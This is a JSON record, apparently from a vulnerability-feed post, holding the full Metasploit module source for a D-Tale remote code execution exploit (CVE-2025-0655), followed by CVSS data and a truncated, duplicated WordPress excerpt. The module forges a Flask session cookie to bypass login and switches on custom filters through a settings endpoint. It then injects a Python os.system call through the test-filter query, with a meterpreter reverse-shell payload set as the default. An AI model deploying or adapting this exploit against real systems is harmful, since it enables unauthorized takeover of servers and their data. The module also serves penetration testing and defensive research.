{“lastseen”:”2025-08-29T19:24:45″,”description”:”This exploit effectively serves as a bypass for CVE-2024-3408. An attacker can override global state to enable custom…”,”published”:”2025-08-29T18:53:33″,”modified”:”2025-03-03T18:56:27″,”type”:”metasploit”,”title”:”D-Tale RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-HTTP-DTALE_RCE_CVE_2025_0655-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-3408″,”CVE-2025-0655″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘D-Tale RCE’,\\n ‘Description’ =\\u003e %q{\\n This exploit effectively serves as a bypass for CVE-2024-3408.\\n An attacker can override global state to enable custom filters, which then facilitates remote code execution.\\n Specifically, this vulnerability leverages the ability to manipulate global application settings to activate the enable_custom_filters feature, typically restricted to trusted environments.\\n Once enabled, the \/test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.\\n },\\n ‘Author’ =\\u003e [\\n ‘taiphung217’, # Vulnerability discovery and PoC\\n ‘Takahiro Yokoyama’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2024-3408’],\\n [‘CVE’, ‘2025-0655’],\\n [‘URL’, ‘https:\/\/huntr.com\/bounties\/57a06666-ff85-4577-af19-f3dfb7b02f91’],\\n [‘URL’, ‘https:\/\/huntr.com\/bounties\/f63af7bd-5438-4b36-a39b-4c90466cff13’],\\n ],\\n ‘Platform’ =\\u003e %w[linux],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Linux Command’, {\\n ‘Arch’ =\\u003e [ ARCH_CMD ], ‘Platform’ =\\u003e [ ‘unix’, ‘linux’ ], ‘Type’ =\\u003e :nix_cmd,\\n ‘DefaultOptions’ =\\u003e {\\n # defaults to cmd\/linux\/http\/aarch64\/meterpreter\/reverse_tcp\\n ‘PAYLOAD’ =\\u003e ‘cmd\/linux\/http\/x64\/meterpreter_reverse_tcp’\\n }\\n }\\n ],\\n ],\\n ‘DefaultOptions’ =\\u003e {\\n ‘FETCH_DELETE’ =\\u003e true\\n },\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ‘\\\\’\\”‘\\n },\\n ‘DisclosureDate’ =\\u003e ‘2025-02-05’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [ CRASH_SAFE, ],\\n ‘SideEffects’ =\\u003e [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\\n ‘Reliability’ =\\u003e [ REPEATABLE_SESSION, ]\\n }\\n )\\n )\\n register_options(\\n [\\n Opt::RPORT(40000),\\n ]\\n )\\n end\\n\\n def generate_dtale_jwt\\n @session = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign({ ‘logged_in’ =\\u003e true, ‘username’ =\\u003e rand_text_alpha(8) }, ‘Dtale’)\\n # Need wait, otherwise auth bypass fails\\n sleep 2\\n end\\n\\n def check\\n generate_dtale_jwt\\n\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘dtale\/popup\/upload’),\\n ‘headers’ =\\u003e {\\n ‘Cookie’ =\\u003e \\”session=#{@session}\\” # Set the JWT token as a cookie\\n }\\n })\\n return Exploit::CheckCode::Unknown unless res\\u0026.code == 200\\n\\n html_document = res.get_html_document\\n return Exploit::CheckCode::Unknown(‘Failed to get html document.’) if html_document.blank?\\n\\n version_element = html_document.xpath(‘\/\/*[@id=\\”version\\”]\/@value’)\\n return Exploit::CheckCode::Unknown(‘Failed to get version element.’) if version_element.blank?\\n\\n version = Rex::Version.new(version_element\\u0026.text)\\n return Exploit::CheckCode::Safe(\\”Version #{version} detected, which is not vulnerable.\\”) unless version \\u003c= Rex::Version.new(‘3.15.1’)\\n\\n Exploit::CheckCode::Appears(\\”Version #{version} detected.\\”)\\n end\\n\\n def exploit\\n generate_dtale_jwt unless @session\\n\\n # Create a new MIME message (multipart form data)\\n mime = Rex::MIME::Message.new\\n # Add the file part to the body\\n fname = \\”#{rand_text_alpha(3)}.csv\\”\\n mime.add_part(\\n \\”#{rand_text_alpha(1)},#{rand_text_alpha(1)}\\\\n#{rand_text_numeric(1)},#{rand_text_numeric(1)}\\”,\\n ‘text\/csv’,\\n nil,\\n \\”form-data; name=\\\\\\”#{fname}\\\\\\”; filename=\\\\\\”#{fname}\\\\\\”\\”\\n )\\n # Add additional form data\\n mime.add_part(‘true’, nil, nil, ‘form-data; name=\\”header\\”‘)\\n mime.add_part(‘comma’, nil, nil, ‘form-data; name=\\”separatorType\\”‘)\\n mime.add_part(”, nil, nil, ‘form-data; name=\\”separator\\”‘)\\n\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘dtale\/upload’),\\n ‘ctype’ =\\u003e \\”multipart\/form-data; boundary=#{mime.bound}\\”,\\n ‘data’ =\\u003e mime.to_s,\\n ‘headers’ =\\u003e {\\n ‘Cookie’ =\\u003e \\”session=#{@session}\\” # Set the JWT token as a cookie\\n }\\n })\\n @data_id = res\\u0026.get_json_document\\u0026.fetch(‘data_id’, nil)\\n fail_with(Failure::Unknown, ‘Failed to get data_id from response.’) unless @data_id\\n print_status(\\”Use data_id: #{@data_id}\\”)\\n\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, \\”dtale\/update-settings\/#{@data_id}\\”),\\n ‘vars_get’ =\\u003e {\\n ‘settings’ =\\u003e { ‘enable_custom_filters’ =\\u003e true }.to_json\\n },\\n ‘headers’ =\\u003e {\\n ‘Cookie’ =\\u003e \\”session=#{@session}\\” # Set the JWT token as a cookie\\n }\\n })\\n fail_with(Failure::Unknown, ‘Failed to update the settings.’) unless res\\u0026.get_json_document\\u0026.fetch(‘success’, nil)\\n print_status(‘Updated the enable_custom_filters to true.’)\\n\\n send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, \\”dtale\/test-filter\/#{@data_id}\\”),\\n ‘vars_get’ =\\u003e {\\n ‘query’ =\\u003e \\”@pd.core.frame.com.builtins.__import__(‘os’).system(‘#{payload.encoded}’)\\”,\\n ‘save’ =\\u003e true\\n },\\n ‘headers’ =\\u003e {\\n ‘Cookie’ =\\u003e \\”session=#{@session}\\” # Set the JWT token as a cookie\\n }\\n })\\n print_status(‘Successfully executed the payload.’)\\n end\\n\\n def cleanup\\n super\\n\\n if @data_id\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘dtale\/cleanup-datasets’),\\n ‘vars_get’ =\\u003e {\\n ‘dataIds’ =\\u003e @data_id\\n },\\n ‘headers’ =\\u003e {\\n ‘Cookie’ =\\u003e \\”session=#{@session}\\” # Set the JWT token as a cookie\\n }\\n })\\n print_status(\\”Failed to clean up data_id: #{@data_id}\\”) unless res\\u0026.get_json_document\\u0026.fetch(‘success’, nil)\\n print_status(\\”Successfully cleaned up data_id: #{@data_id}\\”)\\n end\\n end\\n\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/dtale_rce_cve_2025_0655.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”baseScore”:9.8,”baseSeverity”:”CRITICAL”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/dtale_rce_cve_2025_0655\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-29T19:24:45″,”description”:”This exploit effectively serves as a bypass for CVE-2024-3408. An attacker can override global state to enable custom…”,”published”:”2025-08-29T18:53:33″,”modified”:”2025-03-03T18:56:27″,”type”:”metasploit”,”title”:”D-Tale RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-HTTP-DTALE_RCE_CVE_2025_0655-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-3408″,”CVE-2025-0655″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-15137","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n